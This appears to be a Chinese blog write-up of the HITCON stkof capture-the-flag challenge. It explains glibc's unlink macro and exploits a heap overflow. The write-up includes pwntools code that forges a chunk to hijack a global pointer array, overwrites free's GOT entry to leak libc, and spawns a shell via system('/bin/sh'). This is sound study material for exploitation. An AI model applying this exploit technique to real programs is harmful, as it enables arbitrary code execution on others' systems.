unlink(1)

本文详细解析了C语言中unlink函数在处理堆链表时的机制,通过一个HITCON挑战题为例,展示了如何利用堆溢出和unlink来修改内存中的数据。通过构造特定的chunk和满足unlink条件,实现了对全局变量s1数组的修改,最终达到执行自定义代码的目的。

unlink是对双向堆链表进行操作的(largebin和smallbin),它对发生在堆合并之后

unlink

测试代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
	void *a = malloc(0x10);
	void *chunk1 = malloc(0x80);
	void *b = malloc(0x10);
	void *chunk2 = malloc(0x80);
	void *chunk3 = malloc(0x80);
	void *c = malloc(0x10);
	void *chunk4 = malloc(0x80);
	void *d = malloc(0x10);

	free(chunk1);
	free(chunk2);
	free(chunk4);
	free(chunk3);
	return 0;
}

接下来,编译好之后,在free(chunk3)处打一个断点,然后执行,查看堆状态
在这里插入图片描述可以看到chunk1、chunk2、chunk4已经构成了链表,如下
在这里插入图片描述此时chunk2与前后构成了双向链表,但目前并没有出发unlink,那么需要执行后面的free(chunk3),让chunk2和chunk3合并,改变chunk大小后,就会触发unlink机制了。
接着执行完free(chunk3),查看堆状态
在这里插入图片描述结构图如下
在这里插入图片描述由此可见,chunk1、chunk3都修改了对应的指针,而chuunk2与chunk3合并。
来看一下unlink的源码

#define unlink(AV, P, BK, FD) {                                            
            if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
              malloc_printerr ("corrupted size vs. prev_size");                              
            FD = P->fd;                                                                      
            BK = P->bk;                                                                      
            if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
              malloc_printerr ("corrupted double-linked list");                              
            else {                                                                      
                FD->bk = BK;                                                              
                BK->fd = FD;                                                              
                if (!in_smallbin_range (chunksize_nomask (P))                             
                    && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
                    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
                      malloc_printerr ("corrupted double-linked list (not small)");   
                    if (FD->fd_nextsize == NULL) {                                      
                        if (P->fd_nextsize == P)                                      
                          FD->fd_nextsize = FD->bk_nextsize = FD;                      
                        else {                                                              
                            FD->fd_nextsize = P->fd_nextsize;                              
                            FD->bk_nextsize = P->bk_nextsize;                              
                            P->fd_nextsize->bk_nextsize = FD;                              
                            P->bk_nextsize->fd_nextsize = FD;                              
                          }                                                              
                      } else {                                                              
                        P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                        P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
                      }                                                                                   }                                                                      \
              }                                                                              
        }

unlink要执行成功,至少需要使得前两个if条件得到满足
FD->bk == P || BK->fd == P
chunksize( P) == prev_size (next_chunk( P))

例子

HITCON stkof
保护如下
在这里插入图片描述
先分析一下有用的函数

  • add函数
    在这里插入图片描述

该函数用于创建chunk,并将chunk的地址给s1数组,同时i是一个全局变量,因此add只能一直向后填充数组

  • edit函数
    在这里插入图片描述

用于向chunk写入数据,但存在一个堆溢出,因为没有对写入数据的大小进行限制

  • delete函数
    在这里插入图片描述

释放堆,同时将数组对应处归0,因此无法double free

目前能够知道,在edit函数中,存在堆溢出,可以利用它对后面的堆进行修改
那么在这里如何利用unlink来解题?说实话,没有看着题之前还真不知道unlik能干嘛

首先,unlink能够修改fd、bk指针,目前能够使用的是edit函数,希望通过它进行地址写,就需要修改s1数组的值,要能够修改这个值,首先s1数组就得构造成符合unlink进行的条件,也就是FD->bk == P || BK->fd == P,因此需要把s1数组看作一个chunk
由于unlink并不会检测前后两个chunk是不是真的chunk,只对fd、bk进行了判断,因此只要伪造一个空闲堆,它的fd、bk是指向s1的某个地址,并且能够满足上面那个等式,就可以将s1数组中的两个值修改成这个数组的某个元素的地址

先构造3个chunk,并查看s1数组
在这里插入图片描述
把这一部分看作chunk,那么fd=0x24d8450,bk=0x24d8490
再看看s1 - 8处
在这里插入图片描述
fd=0x24d8420,bk=0x24d8450
此时就能够满足FD->bk == P || BK->fd == P
那么现在只需要构造一个fd = 0x602138,bk=0x602140的空闲chunk,并与它后面的chunk合并,就能够触发unlink
之后0x602150处的值先修改为0x602140,然后被修改为0x602138,如下
在这里插入图片描述
那么,我们就可以对s1[2]指向的地址s1[-1]进行写操作了,写入可写的地址,就能够对该地址进行写操作了。

过程

首先,构造chunk并触发unlink

add(0x8) #chunk0

add(0x30) #chunk1
add(0x80) #chunk2
arry = 0x602140
payload = p64(0) + p64(0x30) + p64(arry - 0x8) + p64(arry) + p64(0x0) + p64(0) + p64(0x30) + p64(0x90)
edit(2, len(payload), payload)
free(3)
p.recvuntil(b'OK\n')

由于没有进行setbuf操作,在初次使用fgets和printf函数时,会申请堆空间,因此第一个add(0x8)利用不了,需要在申请两个堆

由于需要触发unlink,因此需要能够合并,那么free chunk需要是在unsortedbin中,因此对chunk2开辟0x80
伪造的堆至少需要0x30大小,在伪造的同时需要修改chunk3的prev_size和size字段,保证与伪造的chunk大小一致,且证明它是个空闲chunk

接下来就可以通过edit[2]来修改这个数组,先将free的got表修改为puts的plt,从而调用puts函数。

payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts'])
edit(2, len(payload), payload)
edit(0, 8, p64(elf.plt['puts']))
free(1)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = next(libc.search(b'/bin/sh')) + libc_base

这里对s1[2]进行写时,实际上是从s1[-1]处对数组进行了修改,我让s1[-1] = 0,s1[0]=free_got,
s1[1] = puts_got
然后修改s1[0],去修改free的got表,之后在free(1),就能打印处puts的地址了

那么最后就是调用system函数了

payload = p64(0) + p64(elf.got['free']) + p64(binsh)
edit(2, len(payload), payload)
edit(0, 8, p64(system))
free(1)
p.interactive()

最后

unlink机制理解起来还是很简单,这题也让我明白,有时候伪造的堆不一定真的是堆
我这里是为自己学习做记录,如果看不明白可以看看这位大佬写的文章

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值